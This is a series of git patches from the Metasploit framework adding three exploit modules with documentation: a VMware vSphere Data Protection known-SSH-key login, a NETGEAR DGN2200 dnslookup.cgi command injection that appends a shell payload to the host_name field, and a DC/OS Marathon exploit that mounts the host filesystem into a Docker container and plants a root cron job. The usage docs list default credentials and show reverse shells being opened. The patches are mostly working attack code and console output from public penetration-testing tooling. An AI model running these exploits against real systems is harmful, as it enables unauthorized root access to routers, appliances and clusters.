From 589084896a4a8bf23197680520f5f41d30947e8f Mon Sep 17 00:00:00 2001 From: phroxvs Date: Tue, 3 Jan 2017 03:36:49 -0500 Subject: [PATCH 001/686] initial version of CVE-2016-7456 exploit --- .../linux/ssh/vmware_vdp_known_privkey.rb | 167 ++++++++++++++++++ 1 file changed, 167 insertions(+) create mode 100644 modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb diff --git a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb new file mode 100644 index 0000000000..a0c2a5de1c --- /dev/null +++ b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH + + def initialize(info = {}) + super(update_info(info, { + 'Name' => 'VMware VDP known SSH Key', + 'Description' => %q{ + VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => ['phroxvs'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-7456' ], + [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ], + ], + 'DisclosureDate' => "Dec 20 2016", + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login() + factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies']) + opt_hash = { + auth_methods: ['publickey'], + port: rport, + key_data: [ key_data ], + use_agent: false, + config: false, + proxy: factory, + non_interactive: true + } + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) + self.sockets.delete(ssh_socket.transport.socket) + + return conn + else + return false + end + end + + def exploit + conn = do_login() + if conn + print_good "Successful login" + + service_data = { + address: rhost, + port: rport, + protocol: 'tcp', + service_name: 'ssh', + workspace_id: myworkspace_id, + } + credential_data = { + username: 'admin', + private_type: :ssh_key, + private_data: key_data, + origin_type: :service, + module_fullname: fullname, + }.merge(service_data) + + core = create_credential(credential_data) + login_data = { + core: core, + last_attempted: Time.now, + }.merge(service_data) + + create_credential_login(login_data) + + handler(conn.lsock) + end + end + + def key_data + < Date: Tue, 3 Jan 2017 03:39:22 -0500 Subject: [PATCH 002/686] initial version of CVE-2016-7456 exploit --- modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb index a0c2a5de1c..3bb5a3dd05 100644 --- a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb +++ b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, { - 'Name' => 'VMware VDP known SSH Key', + 'Name' => 'VMware VDP Known SSH Key', 'Description' => %q{ VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password. }, @@ -34,8 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2016-7456' ], - [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ], + [ 'CVE', '2016-7456' ], + [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ], ], 'DisclosureDate' => "Dec 20 2016", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, @@ -115,8 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote conn = do_login() if conn print_good "Successful login" - - service_data = { + service_data = { address: rhost, port: rport, protocol: 'tcp', @@ -138,7 +137,6 @@ class MetasploitModule < Msf::Exploit::Remote }.merge(service_data) create_credential_login(login_data) - handler(conn.lsock) end end From a9a83bc21c76483895b53a70e158f850bd958c43 Mon Sep 17 00:00:00 2001 From: phroxvs Date: Tue, 3 Jan 2017 06:16:07 -0500 Subject: [PATCH 003/686] fix for uninitialized constant in Net::SSH on OS X --- modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb index 3bb5a3dd05..956478eadb 100644 --- a/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb +++ b/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb @@ -5,12 +5,13 @@ require 'msf/core' require 'net/ssh' - +require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report + include Msf::Auxiliary::CommandShell include Msf::Exploit::Remote::SSH def initialize(info = {}) From a3ad3803dfc78003e7f37c155e87ebee3d9fdc59 Mon Sep 17 00:00:00 2001 From: phroxvs Date: Tue, 3 Jan 2017 06:49:50 -0500 Subject: [PATCH 004/686] added module documentation --- .../linux/ssh/vmware_vdp_known_privkey.md | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md diff --git a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md new file mode 100644 index 0000000000..92a291bf42 --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md @@ -0,0 +1,27 @@ +## Vulnerable Application + + VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/ssh/vmware_vdp_known_privkey` + 3. Do: `set rhost 1.2.3.4` + 4. Do: `exploit` + 5. You should get a shell. + 6. Type: `sudo -s` to become root user + +## Scenarios + +This is a run against a known vulnerable vSphere Data Protection appliance. + +``` +msf > use exploit/linux/ssh/vmware_vdp_known_privkey +msf exploit(vmware_vdp_known_privkey) > set rhost 1.2.3.4 +rhost => 1.2.3.4 +msf exploit(exagrid_known_privkey) > run + +[+] Successful login +[*] Found shell. +[*] Command shell session 1 opened (1.2.3.5:34147 -> 1.2.3.4:22) at 2017-01-20 20:43:22 +0100 +``` From 245a7deb67013126a44b405c7d01ce9e85500111 Mon Sep 17 00:00:00 2001 From: phroxvs Date: Tue, 3 Jan 2017 06:51:50 -0500 Subject: [PATCH 005/686] correct copy&paste mistake in module documentation --- .../modules/exploit/linux/ssh/vmware_vdp_known_privkey.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md index 92a291bf42..3902bee5d4 100644 --- a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md +++ b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md @@ -19,7 +19,7 @@ This is a run against a known vulnerable vSphere Data Protection appliance. msf > use exploit/linux/ssh/vmware_vdp_known_privkey msf exploit(vmware_vdp_known_privkey) > set rhost 1.2.3.4 rhost => 1.2.3.4 -msf exploit(exagrid_known_privkey) > run +msf exploit(vmware_vdp_known_privkey) > run [+] Successful login [*] Found shell. From 1a4c239120ae4189cae0f4d90e24c7a2cfb32117 Mon Sep 17 00:00:00 2001 From: phroxvs Date: Tue, 3 Jan 2017 12:51:27 -0500 Subject: [PATCH 006/686] added default password of root account to documentation --- .../modules/exploit/linux/ssh/vmware_vdp_known_privkey.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md index 3902bee5d4..a464e173d8 100644 --- a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md +++ b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md @@ -25,3 +25,7 @@ msf exploit(vmware_vdp_known_privkey) > run [*] Found shell. [*] Command shell session 1 opened (1.2.3.5:34147 -> 1.2.3.4:22) at 2017-01-20 20:43:22 +0100 ``` + +## Further Information + +The default account of the appliance is root:changeme From e0a46c2c06252a88098abaed8d89e699acb624ae Mon Sep 17 00:00:00 2001 From: Carter Date: Thu, 2 Mar 2017 17:51:24 -0500 Subject: [PATCH 007/686] Create netgear_dnslookup_cmd_exec.rb --- .../linux/http/netgear_dnslookup_cmd_exec.rb | 108 ++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb diff --git a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb new file mode 100644 index 0000000000..2f0f787064 --- /dev/null +++ b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/http' +require "base64" + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerablity in NETGEAR + DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request + with valid login details. + }, + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Author' => [ + 'thecarterb', # Metasploit Module + 'SivertPL' # Vuln discovery + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ 'NETGEAR DDGN2200 Router', { } ] + ], + 'References' => + [ + [ 'EDB', '41459'], + [ 'CVE', '2017-6334'] + ], + 'DisclosureDate' => 'Feb 25 2017', + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'Username to authenticate with', '']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) + ], self.class) + + register_advanced_options( + [ + OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com']) + ], self.class) + end + + # Requests the login page which tells us the hardware version + def check + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"NETGEAR " + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + vprint_status("Router is a NETGEAR router (#{model})") + if model == 'DGN2200v1' || model == 'DGN2200v2' || model == 'DGN2200v3' || model == 'DGN2200v4' + print_good("Router may be vulnerable (NETGEAR #{model})") + return CheckCode::Detected + else + return CheckCode::Safe + end + else + print_error('Router is not a NETGEAR router') + return CheckCode::Safe + end + end + + def exploit + check + + # Convert datastores + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + hostname = datastore['HOSTNAME'] + + vprint_status("Using encoder: #{payload.encoder} ") + print_status('Sending payload...') + + vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)") + + creds_combined = Base64.strict_encode64("#{user}:#{pass}") + vprint_status("Encoded authentication: #{creds_combined}") + + res = send_request_cgi({ + 'uri' => '/dnslookup.cgi', + 'headers' => { + 'Authorization' => "Basic #{creds_combined}" + }, + 'vars_post' => { + 'lookup' => 'Lookup', + 'host_name' => hostname + '; ' + payload.encoded + }}) + + end +end From 4a974d50b5c6aa5ba4ce933953fbde1e9054633b Mon Sep 17 00:00:00 2001 From: Carter Date: Thu, 2 Mar 2017 19:43:15 -0500 Subject: [PATCH 008/686] Create netgear_dnslookup_cmd_exec.md --- .../linux/http/netgear_dnslookup_cmd_exec.md | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md diff --git a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md new file mode 100644 index 0000000000..b51505a603 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md @@ -0,0 +1,86 @@ +## Vulnerable Application + + NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers + +## Verification Steps + + 1. start `msfconsole` + 2. `use exploit/linux/http/netger_dnslookup_cmd_exec` + 3. `set RHOST 192.168.1.1` `<--- Router IP` + 4. `set USERNAME xxxx` (see [here]()) + 5. `set PASSWORD xxxx` (see [here]()) + 5. `set PAYLOAD cmd/unix/reverse_bash` + 6. `set LHOST 192.168.1.x` + 7. `set LPORT xxxx` + 8. `run` + 9. Get a session + +## Options + + **USERNAME** + + The `USERNAME` option sets the username to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default username for NETGEAR Routers is `admin`. If you don't know the credentials, + your best bet will be to use the default username and password. + + + **PASSWORD** + + The `PASSWORD`options sets the password to authenticate the request with. + The command injection will __not__ succeed if the username and password are not correct. + The default password for NETGEAR Routers is `password`. If you don't know the credentials, + your best bet will be to use the default username and password. + +## Advanced Options + + **HOSTNAME** + + The request is went with a `host_name` POST parameter. This option sets this parameter. + The default is `www.google.com`. The reason for the parameter is that the file that this + vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else + the injection won't work. + + +## Scenarios + + What it should look like against a vulnerable router. + + ``` +msf > use exploit/linux/http/netgear_dnslookup_cmd_exec +msf exploit(netgear_dnslookup_cmd_exec) > options + +Module options (exploit/linux/http/netgear_dnslookup_cmd_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME yes Username to authenticate with + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 NETGEAR DDGN2200 Router + + +msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin +USERNAME => admin +msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password +PASSWORD => password +msf exploit(netgear_dnslookup_cmd_exec) > run + +[*] Started reverse TCP double handler on 192.168.1.9:4444 +[+] Router is a NETGEAR router (DGN2200v1) +[*] Sending payload... +[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500 +``` + From 7556768dcfecda186571181c99de2d62cfd74b95 Mon Sep 17 00:00:00 2001 From: Carter Date: Thu, 2 Mar 2017 21:47:58 -0500 Subject: [PATCH 009/686] Update netgear_dnslookup_cmd_exec.md --- .../modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md index b51505a603..01af384ccc 100644 --- a/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md @@ -7,8 +7,8 @@ 1. start `msfconsole` 2. `use exploit/linux/http/netger_dnslookup_cmd_exec` 3. `set RHOST 192.168.1.1` `<--- Router IP` - 4. `set USERNAME xxxx` (see [here]()) - 5. `set PASSWORD xxxx` (see [here]()) + 4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) + 5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options)) 5. `set PAYLOAD cmd/unix/reverse_bash` 6. `set LHOST 192.168.1.x` 7. `set LPORT xxxx` From 0943eb24a96ade271a5f1b11eab1d258484710d1 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Fri, 3 Mar 2017 09:56:14 -0500 Subject: [PATCH 010/686] DC/OS Marathon UI Exploit --- modules/exploits/linux/http/dcos_marathon.rb | 201 +++++++++++++++++++ 1 file changed, 201 insertions(+) create mode 100644 modules/exploits/linux/http/dcos_marathon.rb diff --git a/modules/exploits/linux/http/dcos_marathon.rb b/modules/exploits/linux/http/dcos_marathon.rb new file mode 100644 index 0000000000..9fdfe56591 --- /dev/null +++ b/modules/exploits/linux/http/dcos_marathon.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DC/OS Marathon UI Docker Exploit', + 'Description' => %q{ + Utilizing the DCOS Cluster's Marathon UI, an attacker can create + a docker container with the '/' path mounted with read/write + permissions on the host server that is running the docker container. + As the docker container excutes command as uid 0 it is honored + by the host operating system allowing the attacker to edit/create + files owed by root. This exploit abuses this to creates a cron job + in the '/etc/cron.d/' path of the host server. + + *Notes: The docker image must be a valid docker image from + hub.docker.com. Further more the docker container will only + deploy if there are resources available in the DC/OS cluster. + }, + 'Author' => 'Erik Daguerre', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'], + ], + 'Payload' => + { + 'DisableNops'=> true, + }, + 'Targets' => [ + [ 'Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => { + 'Compat' => { + 'ConnectionType' => 'reverse noconn none tunnel' + } + } + } + ] + ], + 'DefaultOptions' => { 'WfsDelay' => 75 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 03, 2017')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), + OptString.new('CONTAINER_ID', [ false, 'container id you would like']), + OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wiat for the docker container to deploy', 60 ]) + ], self.class) + end + + def get_apps + res = send_request_raw({ + 'method' => 'GET', + 'uri' => target_uri.path + }) + return unless res and res.code == 200 + + # verify it is marathon ui, and is returning content-type json + return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json' + apps = JSON.parse(res.body) + + apps + end + + def del_container(container_id) + res = send_request_raw({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, container_id) + }) + return unless res and res.code == 200 + + res.code + end + + def make_container_id + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? + + rand_text_alpha_lower(8) + end + + def make_cmd(mnt_path, cron_path, payload_path) + vprint_status('Creating the docker container command') + payload_data = nil + echo_cron_path = mnt_path + cron_path + echo_payload_path = mnt_path + payload_path + + cron_command = "python #{payload_path}" + payload_data = payload.raw + + command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n" + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n" + command << "echo \"\" >> #{echo_cron_path}\n" + command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n" + command << "sleep 120" + + command + end + + def make_container(mnt_path, cron_path, payload_path, container_id) + vprint_status('Setting container json request variables') + container_data = { + 'cmd' => make_cmd(mnt_path, cron_path, payload_path), + 'cpus' => 1, + 'mem' => 128, + 'disk' => 0, + 'instances' => 1, + 'id' => container_id, + 'container' => { + 'docker' => { + 'image' => datastore['DOCKERIMAGE'], + 'network' => 'HOST', + }, + 'type' => 'DOCKER', + 'volumes' => [ + { + 'hostPath' => '/', + 'containerPath' => mnt_path, + 'mode' => 'RW' + } + ], + }, + 'env' => {}, + 'labels' => {} + } + + container_data + end + + def check + return Exploit::CheckCode::Safe if get_apps.nil? + + Exploit::CheckCode::Appears + end + + def exploit + if get_apps.nil? + fail_with(Failure::Unknown, 'Failed to connect to the targeturi') + end + # create required information to create json container information. + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + payload_path = '/tmp/' + rand_text_alpha(8) + mnt_path = '/mnt/' + rand_text_alpha(8) + container_id = make_container_id() + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => target_uri.path, + 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json + }) + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201 + + print_status('The docker container is created, waiting for it to deploy') + register_files_for_cleanup(cron_path, payload_path) + sleep_time = 5 + wait_time = datastore['WAIT_TIMEOUT'] + deleted_container = false + print_status("Waiting up to #{wait_time} seconds for docker container to start") + + while wait_time > 0 + sleep(sleep_time) + wait_time -= sleep_time + apps_status = get_apps + fail_with(Failure::Unkown, 'No apps returned') unless apps_status + + apps_status['apps'].each do |app| + next if app['id'] != "/#{container_id}" + + if app['tasksRunning'] == 1 + print_status('The docker container is running, removing it') + del_container(container_id) + deleted_container = true + wait_time = 0 + else + vprint_status('The docker container is not yet running') + end + break + end + end + + # If the docker container does not deploy remove it and fail out. + unless deleted_container + del_container(container_id) + fail_with(Failure::Unknown, "The docker container failed to start") + end + print_status('Waiting for the cron job to run, can take up to 60 seconds') + end +end From 6a83220131b437a905b3b3fc949c4473a034e2da Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Fri, 3 Mar 2017 10:49:00 -0500 Subject: [PATCH 011/686] cleaned up travis errors --- modules/exploits/linux/http/dcos_marathon.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/http/dcos_marathon.rb b/modules/exploits/linux/http/dcos_marathon.rb index 9fdfe56591..86327d2786 100644 --- a/modules/exploits/linux/http/dcos_marathon.rb +++ b/modules/exploits/linux/http/dcos_marathon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote by the host operating system allowing the attacker to edit/create files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. - + *Notes: The docker image must be a valid docker image from hub.docker.com. Further more the docker container will only deploy if there are resources available in the DC/OS cluster. @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote def make_container_id return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? - + rand_text_alpha_lower(8) end @@ -169,16 +169,16 @@ class MetasploitModule < Msf::Exploit::Remote wait_time = datastore['WAIT_TIMEOUT'] deleted_container = false print_status("Waiting up to #{wait_time} seconds for docker container to start") - + while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time apps_status = get_apps - fail_with(Failure::Unkown, 'No apps returned') unless apps_status - + fail_with(Failure::Unknown, 'No apps returned') unless apps_status + apps_status['apps'].each do |app| next if app['id'] != "/#{container_id}" - + if app['tasksRunning'] == 1 print_status('The docker container is running, removing it') del_container(container_id) @@ -190,7 +190,7 @@ class MetasploitModule < Msf::Exploit::Remote break end end - + # If the docker container does not deploy remove it and fail out. unless deleted_container del_container(container_id) From a49c0a6824c1951eec56f89849f668832917713d Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Fri, 3 Mar 2017 11:03:25 -0500 Subject: [PATCH 012/686] removed trailing line --- modules/exploits/linux/http/dcos_marathon.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dcos_marathon.rb b/modules/exploits/linux/http/dcos_marathon.rb index 86327d2786..dd7168532a 100644 --- a/modules/exploits/linux/http/dcos_marathon.rb +++ b/modules/exploits/linux/http/dcos_marathon.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. - *Notes: The docker image must be a valid docker image from + *Notes: The docker image must be a valid docker image from hub.docker.com. Further more the docker container will only deploy if there are resources available in the DC/OS cluster. }, From 3e9480ebfa1b5a6e5ff53949e9291f3d277a9b93 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Sat, 4 Mar 2017 09:50:30 -0500 Subject: [PATCH 013/686] Added documentation --- .../exploit/linux/http/dcos_marathon.md | 193 ++++++++++++++++++ 1 file changed, 193 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/dcos_marathon.md diff --git a/documentation/modules/exploit/linux/http/dcos_marathon.md b/documentation/modules/exploit/linux/http/dcos_marathon.md new file mode 100644 index 0000000000..aec7d7c623 --- /dev/null +++ b/documentation/modules/exploit/linux/http/dcos_marathon.md @@ -0,0 +1,193 @@ +# Vulnerable Application +Utilizing the DCOS Cluster's Marathon UI, an attacker can create +a docker container with the '/' path mounted with read/write +permissions on the host server that is running the docker container. +As the docker container excutes command as uid 0 it is honored +by the host operating system allowing the attacker to edit/create +files owed by root. This exploit abuses this to creates a cron job +in the '/etc/cron.d/' path of the host server. + +*Notes: The docker image must be a valid docker image from +hub.docker.com. Further more the docker container will only +deploy if there are resources available in the DC/OS + +## DCOS +This Expoit was tested with CentOS 7 as the host operating system for +the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with +Defualt 'custom' installation for on site premise setup. Only the Install +part of the DCOS guide was completed, the system hardening and securing +your cluster section where skipped. This is to represent a 'Defualt' install +with a system admin conducting hasty deployments taking no thought about security. + + +## To Setup Your Cluster +I recommend doing a 'On-Premies'/custom +cluster. https://dcos.io/docs/1.8/administration/installing/custom/ +Create a virtual CentOS machine, install requirements base on the above +guide. + +```bash +# The TLDR from the above guide +sudo systemctl stop firewalld && sudo systemctl disable firewalld +sudo yum install -y tar xz unzip curl ipset ntp +systemctl start ntpd +systemctl enable ntpd +sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \ + sudo groupadd nogroup && sudo reboot +``` + +Install a supported version of docker on the CentOS systems +https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/ + +```bash +# The TLDR of the above guide +sudo yum -y remove docker docker-common container-selinux +sudo yum -y remove docker-selinux +sudo yum install -y yum-utils +sudo yum-config-manager \ + --add-repo \ + https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo +sudo yum-config-manager --enable docker-testing +sudo yum makecache fast +sudo yum -y install docker-engine-1.11.2 +sudo systemctl start docker +sudo systemctl enable docker +sudo echo overlay > /etc/modules-load.d/overlay.conf +sudo reboot +``` + +Once the CentOS machine has rebooted, edit the systemctl +service file for docker and change the ExecStart- line to +`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://` +restart the docker service and verify it is running. +lastely generate ssh rsa keys for authentication. And update the +/etc/ssh/sshd_config file to support root login. + +```bash +ssh-keygen -t rsa -b 4096 +# Press enter until complete, DO NOT PUT A PASSWORD. +cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys +cat ~/.ssh/id_rsa # save the output you will need it for later +rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later +``` + +Shut down the CentOS vm, take a snapshot. (This will be your base) +clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent. +Start both virtual machines. Login and get their current IP address. +I recommend giving them static IPs if you have further use for the cluster. + +From here use another linux machine with docker installed to finish +the installation process. I used a ubuntu machine with docker installed. + +Follow the custom CLI guide for creating the required files in +the genconf folder. +https://dcos.io/docs/1.8/administration/installing/custom/cli/ + +Example genconf/config.yaml +``` +--- +agent_list: +- 192.168.0.10 +bootstrap_url: file:///opt/dcos_install_tmp +cluster_name: DCOS +exhibitor_storage_backend: static +ip_detect_filename: /genconf/ip-detect +master_discovery: static +master_list: +- 192.168.0.9 +process_timeout: 10000 +resolvers: +- 